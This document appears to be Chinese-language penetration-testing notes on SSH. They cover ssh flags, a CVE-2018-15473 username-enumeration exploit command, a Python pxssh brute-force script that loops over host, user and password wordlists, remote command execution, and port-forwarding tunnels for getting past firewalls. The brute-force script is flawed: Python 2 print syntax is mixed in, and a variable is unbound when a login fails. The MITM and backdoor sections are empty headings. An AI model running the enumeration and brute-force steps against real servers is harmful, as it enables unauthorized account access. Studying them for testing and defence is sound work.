- SSH用戶名枚舉
- SSH暴力破解
- SSH遠程操作
- 端口轉發
- 中間人攻擊
- SSH后門
-C 壓縮數據傳輸
-f 后台認證用戶/密碼,通常與-N連用,不用登陸到遠程主機,如果通過其他程序控制隧道連接,應當避免將SSH客戶端放到后台執行,也就是去掉-f參數
-N 不執行shell[與 -f 合用]
-g 在-L/-D/-R參數中,允許遠程主機連接到建立的轉發端口,如果不加這個參數,只允許本地主機建立連接
-L 本地端口轉發
-R 遠程端口轉發
-p ssh 端口
-l 指定登錄用戶名
OpenSSH用戶名枚舉漏洞(CVE-2018-15473)
https://github.com/Rhynorater/CVE-2018-15473-Exploit
python3 sshUsernameEnumExploit.py --port 22 --userList exampleInput.txt ip
SSH暴力破解
#coding=utf-8
from pexpect import pxssh
def coon(hostname,user,password):
try:
s = pxssh.pxssh()
result = s.login(hostname,user,password)
except Exception as e:
pass
return result
def main():
with open('/hostname.txt','r') as h1:
with open('/user.txt','r') as u1:
with open('/password.txt','r') as p1:
h = h1.readlines()
u = u1.readlines()
p = p1.readlines()
for hostname in h:
for user in u:
for password in p:
hostname = hostname.strip('\n')
user = user.strip('\n')
password = password.strip('\n')
try:
res = coon(hostname,user,password)
if res == True:
print '[-]success:',hostname,'-',user,'-',password
except Exception as e:
pass
if __name__ == '__main__':
main()
SSH遠程操作
遠程執行命令
ssh mark@10.211.55.13 'whoami'
執行需要交互的命令
ssh -t mark@10.211.55.13 'su root'
執行本地腳本
ssh mark@10.211.55.13 < test.sh
執行遠程服務器上的腳本
ssh mark@10.211.55.13 '/home/mark/test.sh'
端口轉發
SSH端口轉發能夠提供兩大功能:
- 加密 SSH Client 端至 SSH Server 端之間的通訊數據。
- 突破防火牆的限制完成一些之前無法建立的 TCP 連接。
綁定本地端口
既然SSH可以傳送數據,那么我們可以讓那些不加密的網絡連接,全部改走SSH連接,從而提高安全性。 假定我們要讓8080端口的數據,都通過SSH傳向遠程主機,命令就這樣寫:
ssh -D 8080 user@host
SSH建立一個socket,監聽本地的8080端口。當有數據發送端口,就把它轉移到SSH連接上面,發往遠程主機。如果8080端口原來是一個不加密端口,現在將變成一個加密端口。
轉發方式:
- 本地轉發
- 遠程轉發
- 動態轉發
- X協議轉發
本地轉發
綁定本地端口的轉發。用法:ssh -L 本地端口:目標主機:目標主機端口 <user@host>
假定host1是本地主機,host2是遠程主機。由於種種原因,這兩台主機之間無法連通。但是,另外還有一台host3,可以同時連通前面兩台主機。因此,很自然的想法就是,通過host3,將host1連上host2。 我們在host1執行下面的命令:
ssh -L 2121:host2:21 host3
這條命令的意思,就是指定SSH綁定本地端口2121,然后指定host3將所有的數據,轉發到目標主機host2的21端口(假定host2運行FTP,默認端口為21)。 這樣一來,我們只要連接host1的2121端口,就等於連上了host2的21端口。
ftp localhost:2121
"本地端口轉發"使得host1和host3之間仿佛形成一個數據傳輸的秘密隧道,因此又被稱為"SSH隧道"。
遠程轉發
綁定遠程端口的轉發。用法:ssh -R 遠程主機端口:目標主機:目標主機端口 <user@host>
假定host1與host2之間無法連通,必須借助host3轉發。但是,特殊情況出現了,host3是一台內網機器,它可以連接外網的host1,但是反過來就不行,外網的host1連不上內網的host3。這時,"本地端口轉發"就不能用了,怎么辦? 解決辦法是,既然host3可以連host1,那么就從host3上建立與host1的SSH連接,然后在host1上使用這條連接就可以了。 我們在host3執行下面的命令:
ssh -R 2121:host2:21 host1
讓host1監聽它自己的2121端口,然后將所有數據經由host3,轉發到host2的21端口。由於對於host3來說,host1是遠程主機,所以這種情況就被稱為"遠程端口綁定"。 綁定之后,我們在host1就可以連接host2了:
ftp localhost:2121
動態轉發
把遠程ssh服務器作為代理服務器,常用於翻牆。用法:ssh -D <local port> <user@host>
ssh -D 8888 user@host
X協議轉發
ssh -X <user@host>
中間人攻擊
SSH后門
參考:
https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
https://www.freebuf.com/articles/network/129434.html